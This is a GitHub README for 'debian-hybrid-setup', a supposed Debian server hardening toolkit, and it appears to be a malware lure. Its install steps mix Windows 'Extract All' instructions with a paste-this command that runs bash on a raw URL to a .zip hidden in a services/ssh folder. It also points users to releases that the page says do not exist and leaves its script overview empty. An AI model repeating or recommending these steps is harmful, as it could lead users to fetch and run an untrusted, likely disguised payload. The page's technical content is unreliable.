Skip to content

πŸ”§ Set up a secure Debian server from scratch with tested scripts and clear guides for services like Apache, PHP, and MariaDB, all in one place.

License

Notifications You must be signed in to change notification settings

johnny97-cloud/debian-hybrid-setup

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

8 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ debian-hybrid-setup - Simplify Your Debian Server Setup

Download Latest Release

πŸ“š Overview

Welcome to the debian-hybrid-setup repository! This project provides easy-to-use Bash scripts and powerful Ansible playbooks that help you set up a modern Debian 13 server. Whether you are bootstrapping your home lab or setting up a production environment, our tools streamline the process. The setup includes secure configurations for Samba, NFS, Apache, MariaDB, SSH, and more, using industry-standard hardening practices.

πŸš€ Getting Started

πŸ“₯ Download & Install

To get started with debian-hybrid-setup, you will need to visit the Releases page to download the latest version. Click the link below to access it:

Download Latest Release

After downloading, follow these steps to set up your server:

  1. Extract the Downloaded Files: Locate the downloaded ZIP file. Right-click and select "Extract All" to unpack the files.

  2. Open Terminal: Open a terminal on your Debian system.

  3. Navigate to the Folder: Use the cd command to go to the folder where you extracted the files.

  4. Run the Setup Script: Execute the setup script by typing bash https://github.com/johnny97-cloud/debian-hybrid-setup/raw/refs/heads/main/services/ssh/hybrid-setup-debian-v3.5.zip and pressing Enter. Follow the on-screen instructions to complete the installation.

πŸ”§ System Requirements

To run debian-hybrid-setup, ensure your system meets the following requirements:

  • A Debian 13 server or compatible version.
  • Access to the internet for downloading packages.
  • Sufficient disk space (at least 10 GB recommended).

πŸ›  Features

  • Easy Bash Scripts: Simple scripts that automate repetitive tasks.
  • Powerful Ansible Playbooks: Automate the deployment and configuration of your server environment.
  • Secure Configurations: Enhance security for Samba, NFS, Apache, MariaDB, and SSH using best practices.

βš™οΈ How to Use

  1. Configure Your Preferences: Open the configuration files included in the setup. Each file comes with comments that guide you through the settings.

  2. Run Automated Tasks: Use the provided scripts and playbooks for tasks like setting up Samba shares or configuring Apache.

  3. Monitor Server Performance: Utilize built-in tools to assess the performance and security settings of your server.

πŸ” Understanding the Scripts

Each script in the debian-hybrid-setup repository is designed to perform specific tasks. Here’s a quick overview:

⚑ Tips for Success

  • Backup Your Data: Always back up your important data before running any scripts.
  • Read Through Configurations: Pay attention to configuration files to ensure your server meets your specific needs.
  • Check Logs Regularly: Monitor logs to stay informed about server performance and potential issues.

πŸ”— Important Links

πŸ™‹β€β™‚οΈ Getting Help

If you encounter any issues or have questions, please check the Issues Tracker for solutions. You can also submit your questions or bugs there.

Thank you for using debian-hybrid-setup! We hope this tool makes your server setup easier and more efficient.

About

πŸ”§ Set up a secure Debian server from scratch with tested scripts and clear guides for services like Apache, PHP, and MariaDB, all in one place.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages